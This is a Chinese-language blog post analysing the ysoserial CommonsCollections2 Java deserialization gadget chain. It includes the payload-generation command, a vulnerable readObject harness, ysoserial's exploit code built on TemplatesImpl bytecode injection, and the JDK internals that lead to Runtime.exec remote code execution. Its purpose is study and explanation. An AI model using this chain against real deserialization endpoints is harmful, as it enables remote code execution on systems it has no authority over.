拖延症严重😂
复现
JDK8u221,生成反序列化文件
1java -jar ysoserial-master-30099844c6-1.jar CommonsCollections2 calc > test.ser
构造反序列化点
1package com.xxe.run;
2
3import java.io.FileInputStream;
4import java.io.ObjectInputStream;
5
6public class CommonsCollections2 {
7 public static void main(String[] args) {
8 readObject();
9 }
10
11 public static void readObject() {
12 FileInputStream fis = null;
13 try {
14 fis = new FileInputStream("web/test.ser");
15 ObjectInputStream ois = new ObjectInputStream(fis);
16 ois.readObject();
17 } catch (Exception e) {
18 e.printStackTrace();
19 }
20 }
21}
分析
gadget chain
1/*
2 Gadget chain:
3 ObjectInputStream.readObject()
4 PriorityQueue.readObject()
5 ...
6 TransformingComparator.compare()
7 InvokerTransformer.transform()
8 Method.invoke()
9 Runtime.exec()
10 */
ysoserial的exp
1public Queue<Object> getObject(final String command) throws Exception {
2 final Object templates = Gadgets.createTemplatesImpl(command);
3 // mock method name until armed
4 final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
5
6 // create queue with numbers and basic comparator
7 final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
8 // stub data for replacement later
9 queue.add(1);
10 queue.add(1);
11
12 // switch method called by comparator
13 Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
14
15 // switch contents of queue
16 final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
17 queueArray[0] = templates;
18 queueArray[1] = 1;
19
20 return queue;
21}
反序列化从PriorityQueue开始,进入PriorityQueue的readObject()
PriorityQueue 一个基于优先级的无界优先级队列。优先级队列的元素按照其自然顺序进行排序,或者根据构造队列时提供的 Comparator 进行排序,具体取决于所使用的构造方法。该队列不允许使用 null 元素也不允许插入不可比较的对象(没有实现Comparable接口的对象)。PriorityQueue 队列的头指排序规则最小的元素。如果多个元素都是最小值则随机选一个。PriorityQueue 是一个无界队列,但是初始的容量(实际是一个Object[]),随着不断向优先级队列添加元素,其容量会自动扩容,无需指定容量增加策略的细节。
1private void readObject(java.io.ObjectInputStream s)
2 throws java.io.IOException, ClassNotFoundException {
3 // Read in size, and any hidden stuff
4 s.defaultReadObject();
5
6 // Read in (and discard) array length
7 s.readInt();
8
9 SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
10 queue = new Object[size];
11
12 // Read in all elements.
13 for (int i = 0; i < size; i++)
14 queue[i] = s.readObject();
15
16 // Elements are guaranteed to be in "proper order", but the
17 // spec has never explained what that might be.
18 heapify();
19}
既然是一个优先级队列,那么必然存在排序,在heapify()中
1private void heapify() {
2 for (int i = (size >>> 1) - 1; i >= 0; i--)
3 siftDown(i, (E) queue[i]); // 进行排序
4}
5private void siftDown(int k, E x) {
6 if (comparator != null)
7 siftDownUsingComparator(k, x); // 如果指定比较器就使用
8 else
9 siftDownComparable(k, x); // 没指定就使用默认的自然比较器
10}
11private void siftDownUsingComparator(int k, E x) {
12 int half = size >>> 1;
13 while (k < half) {
14 int child = (k << 1) + 1;
15 Object c = queue[child];
16 int right = child + 1;
17 if (right < size &&
18 comparator.compare((E) c, (E) queue[right]) > 0)
19 c = queue[child = right];
20 if (comparator.compare(x, (E) c) <= 0)
21 break;
22 queue[k] = c;
23 k = child;
24 }
25 queue[k] = x;
26}
27private void siftDownComparable(int k, E x) {
28 Comparable<? super E> key = (Comparable<? super E>)x;
29 int half = size >>> 1; // loop while a non-leaf
30 while (k < half) {
31 int child = (k << 1) + 1; // assume left child is least
32 Object c = queue[child];
33 int right = child + 1;
34 if (right < size &&
35 ((Comparable<? super E>) c).compareTo((E) queue[right]) > 0)
36 c = queue[child = right];
37 if (key.compareTo((E) c) <= 0)
38 break;
39 queue[k] = c;
40 k = child;
41 }
42 queue[k] = key;
43}
两个排序使用选择排序法将入列的元素放到队列左边或右边。那么comparator从哪来?
在PriorityQueue中定义了comparator字段
1private final Comparator<? super E> comparator;
在PriorityQueue中有这样一个其构造方法
所以可以通过实例化赋值。
为什么要用到PriorityQueue?在之前的cc链分析文章中我们讲过cc链的核心问题是出在org.apache.commons.collections4.functors.InvokerTransformer#transform
的反射任意方法调用。我们反序列化时必须自动触发transform()函数,而在org.apache.commons.collections4.comparators.TransformingComparator#compare
中调用了这个函数
this.transformer是Transformer类,在exp中承载的就是InvokerTransformer,而TransformingComparator也是比较器,我们可以通过PriorityQueue队列自动排序的特性触发compare(),进一步触发transform()。
小结一下:
- PriorityQueue队列会自动排序触发比较器的compare()
- TransformingComparator是比较器并且在其compare()中调用了transform()
- transform()可以反射任意方法
到目前为止我们可以通过反序列化调用任意方法,但是不能像cc5构造的ChainedTransformer那样链式调用,继续看exp怎么构造的。
向队列中加入两个"1"占位然后将第一个元素修改为templates,追溯templates到createTemplatesImpl
1public static Object createTemplatesImpl ( final String command ) throws Exception {
2 if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
3 return createTemplatesImpl(
4 command,
5 Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
6 Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
7 Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
8 }
9
10 return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
11}
12
13public static <T> T createTemplatesImpl(final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory, String template)
14 throws Exception {
15 final T templates = tplClass.newInstance();
16
17 // use template gadget class
18 ClassPool pool = ClassPool.getDefault();
19 pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
20 pool.insertClassPath(new ClassClassPath(abstTranslet));
21 final CtClass clazz = pool.get(StubTransletPayload.class.getName());
22 // run command in static initializer
23 // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
24
25 clazz.makeClassInitializer().insertAfter(template);
26 // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
27 clazz.setName("ysoserial.Pwner" + System.nanoTime());
28 CtClass superC = pool.get(abstTranslet.getName());
29 clazz.setSuperclass(superC);
30
31 final byte[] classBytes = clazz.toBytecode();
32
33 // inject class bytes into instance
34 Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{
35 classBytes, ClassFiles.classAsBytes(Foo.class)
36 });
37
38 // required to make TemplatesImpl happy
39 Reflections.setFieldValue(templates, "_name", "Pwnr");
40 Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
41 return templates;
42}
上面这段代码做了以下几件事:
- 实例化了一个
org.apache.xalan.xsltc.trax.TemplatesImpl
对象templates,该对象_bytecodes
可以存放字节码 - 自己写了一个
StubTransletPayload
类 继承AbstractTranslet
并实现Serializable
接口 - 获取
StubTransletPayload
字节码并使用javassist插入templates
字节码(Runtime.exec命令执行) - 反射设置
templates
的_bytecodes
为包含命令执行的字节码
javassist是Java的一个库,可以修改字节码。参考 javassist使用全解析
现在准备好了反序列化的类,上个小结中我们实现了任意方法调用。在看exp中把iMethodName
设置为newTransformer
然后到了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer
跟进getTransletInstance()
根据方法名就能猜出来defineTransletClasses()是通过字节码定义类,然后通过newInstance()实例化,跟进defineTransletClasses()看下
1private void defineTransletClasses()
2 throws TransformerConfigurationException {
3
4 if (_bytecodes == null) {
5 ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
6 throw new TransformerConfigurationException(err.toString());
7 }
8
9 TransletClassLoader loader = (TransletClassLoader)
10 AccessController.doPrivileged(new PrivilegedAction() {
11 public Object run() {
12 return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
13 }
14 });
15
16 try {
17 final int classCount = _bytecodes.length;
18 _class = new Class[classCount];
19
20 if (classCount > 1) {
21 _auxClasses = new HashMap<>();
22 }
23
24 for (int i = 0; i < classCount; i++) {
25 _class[i] = loader.defineClass(_bytecodes[i]);
26 final Class superClass = _class[i].getSuperclass();
27
28 // Check if this is the main class
29 if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
30 _transletIndex = i;
31 }
32 else {
33 _auxClasses.put(_class[i].getName(), _class[i]);
34 }
35 }
36
37 if (_transletIndex < 0) {
38 ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
39 throw new TransformerConfigurationException(err.toString());
40 }
41 }
42 catch (ClassFormatError e) {
43 ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
44 throw new TransformerConfigurationException(err.toString());
45 }
46 catch (LinkageError e) {
47 ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
48 throw new TransformerConfigurationException(err.toString());
49 }
50}
通过字节码加载StubTransletPayload
类,然后实例化StubTransletPayload
类对象,在实例化时触发Runtime.exec造成RCE。
参考
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。
评论